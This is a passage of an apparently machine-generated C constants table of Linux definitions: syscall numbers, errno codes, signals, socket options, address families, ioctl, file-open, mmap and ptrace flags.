289\n#define __NR_pkey_free 290\n#define __NR_statx 291\n#define __NR_io_pgetevents 292\n#define __NR_rseq 293\n#define __NR_kexec_file_load 294\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 64\n#define __WORDSIZE_COMPAT32 1\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_THIRTYTWO 0x02000000\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define STAT64_HAS_BROKEN_ST_INO 1\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECTORY 0x4000\n#define O_NOFOLLOW 0x8000\n#define O_DIRECT 0x10000\n#define O_LARGEFILE 0\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x404000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define USR26_MODE 0x00\n#define FIQ26_MODE 0x01\n#define IRQ26_MODE 0x02\n#define SVC26_MODE 0x03\n#define USR_MODE 0x10\n#define FIQ_MODE 0x11\n#define IRQ_MODE 0x12\n#define SVC_MODE 0x13\n#define ABT_MODE 0x17\n#define UND_MODE 0x1b\n#define SYSTEM_MODE 0x1f\n#define MODE_MASK 0x1f\n#define T_BIT 0x20\n#define F_BIT 0x40\n#define I_BIT 0x80\n#define CC_V_BIT (1 << 28)\n#define CC_C_BIT (1 << 29)\n#define CC_Z_BIT (1 << 30)\n#define CC_N_BIT (1 << 31)\n#define PCMASK 0\n#define SYS_accept 202\n#define SYS_accept4 242\n#define SYS_acct 89\n#define SYS_add_key 217\n#define SYS_adjtimex 171\n#define SYS_arch_specific_syscall 244\n#define SYS_bind 200\n#define SYS_bpf 280\n#define SYS_brk 214\n#define SYS_capget 90\n#define SYS_capset 91\n#define SYS_chdir 49\n#define SYS_chroot 51\n#define SYS_clock_adjtime 266\n#define SYS_clock_getres 114\n#define SYS_clock_gettime 113\n#define SYS_clock_nanosleep 115\n#define SYS_clock_settime 112\n#define SYS_clone 220\n#define SYS_clone3 435\n#define SYS_close 57\n#define SYS_connect 203\n#define SYS_copy_file_range 285\n#define SYS_delete_module 106\n#define SYS_dup 23\n#define SYS_dup3 24\n#define SYS_epoll_create1 20\n#define SYS_epoll_ctl 21\n#define SYS_epoll_pwait 22\n#define SYS_eventfd2 19\n#define SYS_execve 221\n#define SYS_execveat 281\n#define SYS_exit 93\n#define SYS_exit_group 94\n#define SYS_faccessat 48\n#define SYS_fadvise64 223\n#define SYS_fallocate 47\n#define SYS_fanotify_init 262\n#define SYS_fanotify_mark 263\n#define SYS_fchdir 50\n#define SYS_fchmod 52\n#define SYS_fchmodat 53\n#define SYS_fchown 55\n#define SYS_fchownat 54\n#define SYS_fcntl 25\n#define SYS_fdatasync 83\n#define SYS_fgetxattr 10\n#define SYS_finit_module 273\n#define SYS_flistxattr 13\n#define SYS_flock 32\n#define SYS_fremovexattr 16\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 7\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 80\n#define SYS_fstatat 79\n#define SYS_fstatfs 44\n#define SYS_fsync 82\n#define SYS_ftruncate 46\n#define SYS_futex 98\n#define SYS_getcpu 168\n#define SYS_getcwd 17\n#define SYS_getdents64 61\n#define SYS_getegid 177\n#define SYS_geteuid 175\n#define SYS_getgid 176\n#define SYS_getgroups 158\n#define SYS_getitimer 102\n#define SYS_get_mempolicy 236\n#define SYS_getpeername 205\n#define SYS_getpgid 155\n#define SYS_getpid 172\n#define SYS_getppid 173\n#define SYS_getpriority 141\n#define SYS_getrandom 278\n#define SYS_getresgid 150\n#define SYS_getresuid 148\n#define SYS_getrlimit 163\n#define SYS_get_robust_list 100\n#define SYS_getrusage 165\n#define SYS_getsid 156\n#define SYS_getsockname 204\n#define SYS_getsockopt 209\n#define SYS_gettid 178\n#define SYS_gettimeofday 169\n#define SYS_getuid 174\n#define SYS_getxattr 8\n#define SYS_init_module 105\n#define SYS_inotify_add_watch 27\n#define SYS_inotify_init1 26\n#define SYS_inotify_rm_watch 28\n#define SYS_io_cancel 3\n#define SYS_ioctl 29\n#define SYS_io_destroy 1\n#define SYS_io_getevents 4\n#define SYS_io_pgetevents 292\n#define SYS_ioprio_get 31\n#define SYS_ioprio_set 30\n#define SYS_io_setup 0\n#define SYS_io_submit 2\n#define 